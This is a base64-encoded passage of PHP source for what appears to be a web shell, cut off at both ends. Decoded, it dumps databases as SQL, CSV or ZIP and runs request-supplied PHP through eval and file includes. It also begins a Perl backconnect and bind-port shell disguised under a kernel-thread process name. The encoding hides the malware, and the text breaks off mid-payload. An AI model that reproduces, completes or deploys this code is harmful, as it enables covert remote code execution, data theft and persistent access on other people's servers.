AgICAgICAgaWYgKCRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0Q3JlYXRlKCR0LCAkdiwgJ0JJTkFSWScsICdwZ3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAncGdzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5fY25jdC0+cXVlcnkoJ0JFR0lOOyBERUNMQVJFIGMgQ1VSU09SIEZPUiBTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBwZ3NxbEVzY05hbWUoJHMsICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkdiA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ0ZFVENIIE5FWFQgRlJPTSBjJykpICYmICgkdiA9ICR2LT5mZXRjaChQRE86OkZFVENIX0FTU09DKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQocGdzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaW1wbG9kZSgnOycsIGFycmF5X2tleXMoJHYpKSwgIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjID0gJHRoaXMtPl9jbmN0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dFZhbHVlcygkdiwgJ3Bnc3FsRXNjRGF0YScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3N2T3V0VmFsdWVzKCR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCgkdiA9ICRjLT5xdWVyeSgnRkVUQ0ggTkVYVCBGUk9NIGMnKSkgJiYgKCR2ID0gJHYtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jbmN0LT5xdWVyeSgnQ0xPU0UgYzsgUk9MTEJBQ0snKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkcyAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgZW5kaWY7CiAgICAgICAgZnVuY3Rpb24gb3V0RGF0YSgmJFMpIHsKICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgaWYgKCR2ID0gJFMtPmZldGNoQXNzb2MoKSkgewogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRrID0+ICRpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkayk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICddLCJyIjpbJzsKICAgICAgICAgICAgICAgICRiID0gRkFMU0U7CiAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBlY2hvICdbJzsKICAgICAgICAgICAgICAgICAgICAkayA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaykKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnXSc7CiAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICRTLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICddJzsKICAgICAgICB9CiAgICAgICAgJFMgPSAkRFsnZSddIC4gJ0NsaWVudCc7CiAgICAgICAgJFMgPSBuZXcgJFMoKTsKICAgICAgICBpZiAoISRTLT5jb25uZWN0KCREWydoJ10sICREWyd1J10sICREWydwJ10sICREWydiJ10sICREWydsJ10pKQogICAgICAgICAgICAkUy0+Y29ubkVycm9yKCRTLT5nZXRFcnJvcigpLCAkRFsnaCddLCAkRFsndSddLCAkRFsncCddLCAkRFsnYiddKTsKICAgICAgICBpZiAoaXNzZXQoJERbJ2QnXSkpIHsKICAgICAgICAgICAgJFogPSBuZXcgUFpJUCgpOwogICAgICAgICAgICAkWi0+aW5pdCgpOwogICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICRtID0gcGFja1RpbWUodGltZSgpKTsKICAgICAgICAgICAgZm9yZWFjaCAoJERbJ2QnXSBhcyAkayA9PiAkdikgewogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWydzJ11bJGtdKSkKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsncyddWyRrXSBhcyAkaSA9PiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3QnXVskayAuICctJyAuICRpXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsndCddWyRrIC4gJy0nIC4gJGldIGFzICRuID0+ICR0KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XVskc11bJHRdID0gaXNzZXQoJERbJ2YnXVskayAuICctJyAuICRpIC4gJy0nIC4gJG5dKSA/ICREWydmJ11bJGsgLiAnLScgLiAkaSAuICctJyAuICRuXSA6IEZBTFNFOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRTLT5nZXRUYWJsZXMoJHYsICRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJHQgPSAkUy0+ZmV0Y2hUYWJsZSgpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZdWyRzXVskdF0gPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJERbJ3QnXVska10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCREWyd0J11bJGtdIGFzICRpID0+ICRzKQogICAgICAgICAgICAgICAgICAgICAgICAkYVskdl1bJHNdID0gaXNzZXQoJERbJ2YnXVskayAuICctJyAuICRpXSkgPyAkRFsnZiddWyRrIC4gJy0nIC4gJGldIDogRkFMU0U7CiAgICAgICAgICAgICAgICBlbHNlaWYgKCRTLT5oYXZlU2NoZW1hcykgewogICAgICAgICAgICAgICAgICAgICRrID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJFMtPmdldFNjaGVtYXMoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRpID0gJFMtPmZldGNoU2NoZW1hKCkpICE9PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrW10gPSAkaTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkayBhcyAkcykKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRTLT5nZXRUYWJsZXMoJHYsICRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJHQgPSAkUy0+ZmV0Y2hUYWJsZSgpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZdWyRzXVskdF0gPSBGQUxTRTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkUy0+Z2V0VGFibGVzKCR2KSkKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCR0ID0gJFMtPmZldGNoVGFibGUoKSkgIT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICAgICAkYVskdl1bJHRdID0gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGUgPSBhcnJheSgpOwogICAgICAgICAgICAkbyA9ICREWydvJ10gPT09ICcwJzsKICAgICAgICAgICAgJHggPSAkbyA/ICcuc3FsJyA6ICcuY3N2JzsKICAgICAgICAgICAgaWYgKCRTLT5oYXZlU2NoZW1hcykKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRkID0+ICR2KQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRzID0+ICRrKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkayBhcyAkdCA9PiAkYykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSBlc2NGaWxlTmFtZSgkZCAuICcuJyAuICRzIC4gJy4nIC4gJHQpIC4gJHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkWi0+ZmlsZUhlYWRlcigkZiwgJG0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ZihUX0RNUEhEUiwgZ21kYXRlKCdZLW0tZCBIOmk6cycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSA9ICRTLT5kdW1wKCRkLCAkcywgJHQsICRjLCAkbykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVbXSA9ICRpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ZihUX0RNUEZUUiwgZ21kYXRlKCdZLW0tZCBIOmk6cycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaLT5maWxlRm9vdGVyKCRmLCAkbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGQgPT4gJHYpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJHQgPT4gJGMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSBlc2NGaWxlTmFtZSgkZCAuICcuJyAuICR0KSAuICR4OwogICAgICAgICAgICAgICAgICAgICAgICAkWi0+ZmlsZUhlYWRlcigkZiwgJG0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG8pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludGYoVF9ETVBIRFIsIGdtZGF0ZSgnWS1tLWQgSDppOnMnKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSA9ICRTLT5kdW1wKCRkLCAkdCwgJGMsICRvKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRlW10gPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRmKFRfRE1QRlRSLCBnbWRhdGUoJ1ktbS1kIEg6aTpzJykpOwogICAgICAgICAgICAgICAgICAgICAgICAkWi0+ZmlsZUZvb3RlcigkZiwgJG0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRlKSB7CiAgICAgICAgICAgICAgICAkbiA9ICdFUlJPUlMudHh0JzsKICAgICAgICAgICAgICAgICR0ID0gcGFja1RpbWUodGltZSgpKTsKICAgICAgICAgICAgICAgICRaLT5maWxlSGVhZGVyKCRuLCAkdCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBlY2hvICR2OwogICAgICAgICAgICAgICAgJFotPmZpbGVGb290ZXIoJG4sICR0KTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkWi0+Y2xvc2UoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCREWydxJ10pKSB7CiAgICAgICAgICAgIGlmICgkUy0+cXVlcnkoJERbJ3EnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ3sicSI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWydxJ10pOwogICAgICAgICAgICAgICAgb3V0RGF0YSgkUyk7CiAgICAgICAgICAgICAgICAkUy0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICd7ImUiOic7CiAgICAgICAgICAgIGpzb25FY2hvKCREWydxJ10gLiAiXG4iIC4gJFMtPmdldEVycm9yKCkpOwogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZiddKSkgewogICAgICAgICAgICAkYiA9IGlzc2V0KCREWydzJ10pOwogICAgICAgICAgICBpZiAoJGIgPyAkUy0+c2VsZWN0KCREWydiJ10sICREWydzJ10sICREWyd0J10sICREWydmJ10sICREWydvJ10sICREWydyJ10pIDogJFMtPnNlbGVjdCgkRFsnYiddLCAkRFsndCddLCAkRFsnZiddLCAkRFsnbyddLCAkRFsnciddKSkgewogICAgICAgICAgICAgICAgZWNobyAneyc7CiAgICAgICAgICAgICAgICBpZiAoJFMtPmNhblBhZ2luYXRlKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJyJvIjonLCAkRFsnbyddLCAnLCc7CiAgICAgICAgICAgICAgICBlY2hvICciYiI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWydiJ10pOwogICAgICAgICAgICAgICAgaWYgKCRiKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJzIjonOwogICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWydzJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnLCJ0IjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ3QnXSk7CiAgICAgICAgICAgICAgICBvdXREYXRhKCRTKTsKICAgICAgICAgICAgICAgICRTLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJ3siZSI6JzsKICAgICAgICAgICAganNvbkVjaG8oIkNhbid0IGxvYWQgZGF0YSBmcm9tIHRhYmxlICIgLiAkRFsnYiddIC4gJy4nIC4gKCRiID8gJERbJ3MnXSAuICcuJyA6ICcnKSAuICREWyd0J10gLiAnICgnIC4gJFMtPmdldEVycm9yKCkgLiAnKScpOwogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsndCddKSkgewogICAgICAgICAgICAkYiA9IGlzc2V0KCREWydzJ10pOwogICAgICAgICAgICBpZiAoJHYgPSAoJGIgPyAkUy0+Z2V0Q29sdW1ucygkRFsnYiddLCAkRFsncyddLCAkRFsndCddKSA6ICRTLT5nZXRDb2x1bW5zKCREWydiJ10sICREWyd0J10pKSkgewogICAgICAgICAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICBlY2hvICd7ImIiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygkRFsnYiddKTsKICAgICAgICAgICAgICAgIGlmICgkYikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJywicyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkRFsncyddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJywidCI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWyd0J10pOwogICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICRpID0gRkFMU0U7CiAgICAgICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkdCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkaSkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkaSA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnWyc7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJGspOwogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJGFbJHRdKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHRdID0gY291bnQoJGEpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnLCAkYVskdF0sICddJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJ10sInkiOlsnOwogICAgICAgICAgICAgICAgJGkgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkayk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzRGllKCddfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRTLT5jbG9zZSgpOwogICAgICAgICAgICBlY2hvICd7ImUiOic7CiAgICAgICAgICAgIGpzb25FY2hvKCJDYW4ndCBsaXN0IGNvbHVtbnMgZm9yIHRhYmxlICIgLiAkRFsnYiddIC4gJy4nIC4gKCRiID8gJERbJ3MnXSAuICcuJyA6ICcnKSAuICREWyd0J10pOwogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnYiddKSkgewogICAgICAgICAgICAkYiA9IGlzc2V0KCREWydzJ10pOwogICAgICAgICAgICBpZiAoJGIgfHwgISRTLT5oYXZlU2NoZW1hcykgewogICAgICAgICAgICAgICAgaWYgKCRiID8gJFMtPmdldFRhYmxlcygkRFsnYiddLCAkRFsncyddKSA6ICRTLT5nZXRUYWJsZXMoJERbJ2InXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICd7ImIiOic7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ2InXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywicyI6JzsKICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ3MnXSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywidCI6Wyc7CiAgICAgICAgICAgICAgICAgICAgJGkgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoRkFMU0UgIT09ICgkdiA9ICRTLT5mZXRjaFRhYmxlKCkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1snOwogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnciddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnLCAkYiA/ICRTLT5nZXRUYWJsZVNpemUoJERbJ2InXSwgJERbJ3MnXSwgJHYpIDogJFMtPmdldFRhYmxlU2l6ZSgkRFsnYiddLCAkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ10nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkUy0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICBzRGllKCddfScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICBlY2hvICd7ImUiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygiQ2FuJ3QgbGlzdCB0YWJsZXMgZm9yICIgLiAkRFsnYiddIC4gKCRiID8gJy4nIC4gJERbJ3MnXSA6ICcnKSk7CiAgICAgICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRTLT5nZXRTY2hlbWFzKCREWydiJ10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICd7ImIiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygkRFsnYiddKTsKICAgICAgICAgICAgICAgIGVjaG8gJywicyI6Wyc7CiAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgd2hpbGUgKEZBTFNFICE9PSAoJHYgPSAkUy0+ZmV0Y2hTY2hlbWEoKSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCR2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRTLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgc0RpZSgnXX0nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkUy0+Y2xvc2UoKTsKICAgICAgICAgICAgZWNobyAneyJlIjonOwogICAgICAgICAgICBqc29uRWNobygiQ2FuJ3QgbGlzdCBzY2hlbWFzIGZvciBkYXRhYmFzZSAiIC4gJERbJ2InXSk7CiAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRTLT5nZXRCYXNlcygpKSB7CiAgICAgICAgICAgIGVjaG8gJ1snOwogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICB3aGlsZSAoRkFMU0UgIT09ICgkdiA9ICRTLT5mZXRjaEJhc2UoKSkpIHsKICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgICAgIHNEaWUoJ10nKTsKICAgICAgICB9CiAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgc0RpZSgneyJlIjoiQ2FuXCd0IGxpc3QgZGF0YWJhc2VzIn0nKTsKICAgICAgICBicmVhazsKICAgIGNhc2UgJ3AnOgogICAgICAgIGZ1bmN0aW9uIHNkZigpIHsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BURicpKQogICAgICAgICAgICAgICAgZGVsRmlsZShQVEYpOwogICAgICAgICAgICBzRGllKCJceDAzXHgxRSIgLiAoZGVmaW5lZCgnUEVTJykgPyAiXHgwNiIgOiAiXHgxNSIpIC4gIlx4MTdceDA0XHgxMCIpOwogICAgICAgIH0KICAgICAgICByZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbignc2RmJyk7CiAgICAgICAgZWNobyAiXHgwMVx4MDIiOwogICAgICAgICREWydlJ10gPSAnZGVmaW5lKCJQRVMiLDEpOycgLiAkRFsnZSddOwogICAgICAgIGlmICghaXNzZXQoJERbJ2gnXSkpCiAgICAgICAgICAgICREWydlJ10gPSAnQGVycm9yX3JlcG9ydGluZyhFX0FMTCk7QGluaV9zZXQoImVycm9yX3JlcG9ydGluZyIsRV9BTEwpO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsVFJVRSk7JyAuICREWydlJ107CgkJCWV2YWwoJERbJ2UnXSk7CiAgICAgICAgaWYgKGRlZmluZWQoJ1BFUycpKQogICAgICAgICAgICBkaWU7CiAgICAgICAgaWYgKCR2ID0gdGVtcEZpbGUoJzw/cGhwICcgLiAkRFsnZSddKSkgewogICAgICAgICAgICBkZWZpbmUoJ1BURicsICR2KTsKICAgICAgICAgICAgaW5jbHVkZSgkdik7CiAgICAgICAgICAgIGlmIChkZWZpbmVkKCdQRVMnKSkKICAgICAgICAgICAgICAgIGRpZTsKICAgICAgICAgICAgaW5jbHVkZV9vbmNlKCR2KTsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BFUycpKQogICAgICAgICAgICAgICAgZGllOwogICAgICAgICAgICByZXF1aXJlKCR2KTsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BFUycpKQogICAgICAgICAgICAgICAgZGllOwogICAgICAgICAgICByZXF1aXJlX29uY2UoJHYpOwogICAgICAgICAgICBpZiAoZGVmaW5lZCgnUEVTJykpCiAgICAgICAgICAgICAgICBkaWU7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScgJiYgUEhQX1ZFUlNJT04gPD0gJzUuMC40JykgewogICAgICAgICAgICAgICAgcGhwX2NoZWNrX3N5bnRheCgkdik7CiAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgnUEVTJykpCiAgICAgICAgICAgICAgICAgICAgZGllOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDgwMDAwICYmICR2ID0gQGNyZWF0ZV9mdW5jdGlvbignJiRhcmdzJywgJERbJ2UnXSkpCiAgICAgICAgICAgICR2KCRhcmdzKTsKICAgICAgICBpZiAoZGVmaW5lZCgnUEVTJykpCiAgICAgICAgICAgIGRpZTsKICAgICAgICBzRGllKCk7CiAgICAgICAgYnJlYWs7CiAgICBjYXNlICd0JzoKICAgICAgICBmdW5jdGlvbiBnZXRDbWRPcHQoJGMsICRuLCAkZCkgewogICAgICAgICAgICBpZiAoJHYgPSBzdHJwb3MoJGMsICcgLScgLiAkbikpCiAgICAgICAgICAgICAgICByZXR1cm4gbHRyaW0oc3Vic3RyKCRjLCAkdiArIDMsIHN0cmNzcG4oJGMsICcgJywgJHYgKyA0KSArIDEpKTsKICAgICAgICAgICAgcmV0dXJuICRkOwogICAgICAgIH0KICAgICAgICBlY2hvICJceDAxXHgwMiI7CiAgICAgICAgJERbJ2UnXSA9IGlzc2V0KCREWydlJ10pID8gdHJpbSgkRFsnZSddKSA6ICcnOwogICAgICAgIGlmICghaXNzZXQoJERbJ3MnXSkpCiAgICAgICAgICAgICREWydzJ10gPSAnJzsKICAgICAgICAkayA9IHN0cnRvaygkRFsnZSddLCAnICcpOwogICAgICAgIGlmIChpbl9hcnJheSgkaywgYXJyYXkoCiAgICAgICAgICAgICdiYWNrY29ubmVjdC5wZXJsJywKICAgICAgICAgICAgJ2JpbmRwb3J0LnBlcmwnLAogICAgICAgICAgICAnc29ja3M1LnBlcmwnCiAgICAgICAgKSkpIHsKICAgICAgICAgICAgJHAgPSAnJDA9IicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ24nLCAnW2t3b3JrZXIvNDoxXScpIC4gJ1wwIjt1c2UgSU86OlNvY2tldDskU0lHeyJDSExEIn09IklHTk9SRSI7JGY9IltGYWlsXSI7JHc9IltXYXJuXSI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpIG9yIGRpZSIkZiB